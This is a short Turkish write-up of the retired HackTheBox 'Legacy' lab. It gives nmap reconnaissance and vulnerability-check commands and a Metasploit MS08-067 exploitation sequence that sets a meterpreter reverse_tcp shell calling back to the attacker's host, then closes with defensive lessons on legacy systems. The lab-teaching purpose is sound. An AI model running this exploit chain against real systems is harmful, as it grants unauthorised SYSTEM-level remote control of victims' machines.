[Write-up] HTB Legacy — MS08-067

Zorluk: Kolay · Platform: HackTheBox (Retired) · Konu: MS08-067 Legacy, adından da anlaşılacağı gibi eski (legacy) bir Windows XP sistemini hedef alan, MS08-067 zafiyetini konu alan bir HTB makinesidir. Bu zafiyet, 2008'de Conficker solucanının yayılmasında kullanılmıştı. ■ 1. Keşif nmap -sC -sV -p- <hedef-ip> Açık SMB portları (139, 445) ve işletim sisteminin Windows XP olduğu tespit edilir — bu, MS08-067 için tipik bir hedef profilidir. ■ 2. Zafiyet Doğrulama nmap --script smb-vuln-ms08-067 -p445 <hedef-ip> Sonuç "VULNERABLE" dönerse hedef sistem, RPC (Remote Procedure Call) servisindeki bu zafiyete karşı savunmasızdır. ■ 3. Sömürü use exploit/windows/smb/ms08_067_netapi set RHOSTS <hedef-ip> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <kendi-ip> run Zafiyet başarıyla sömürüldüğünde doğrudan SYSTEM yetkisiyle bir oturum elde edilir. ■ 4. Neden Önemli? MS08-067, Windows'un Server servisi içindeki bir path canonicalization hatasından kaynaklanır ve kimlik doğrulama olmadan uzaktan kod çalıştırılmasına izin verir. Bu zafiyet o kadar kritikti ki Microsoft, standart yama döngüsünü bekletmeden acil (out-of-band) bir güvenlik güncellemesi yayınlamak zorunda kaldı. ■ 5. Öğrenilen Dersler - Desteği sona ermiş işletim sistemleri (Windows XP gibi) kurumsal ağlarda hâlâ bulunabiliyor — özellikle endüstriyel kontrol sistemleri (ICS/SCADA) gibi eski donanımlara bağımlı ortamlarda. - Böyle sistemler tespit edildiğinde, ağ segmentasyonu (izolasyon) kritik bir geçici önlemdir. - Bu makine, "eski = güvensiz" denkleminin neden hâlâ geçerli olduğunu somut şekilde gösterir.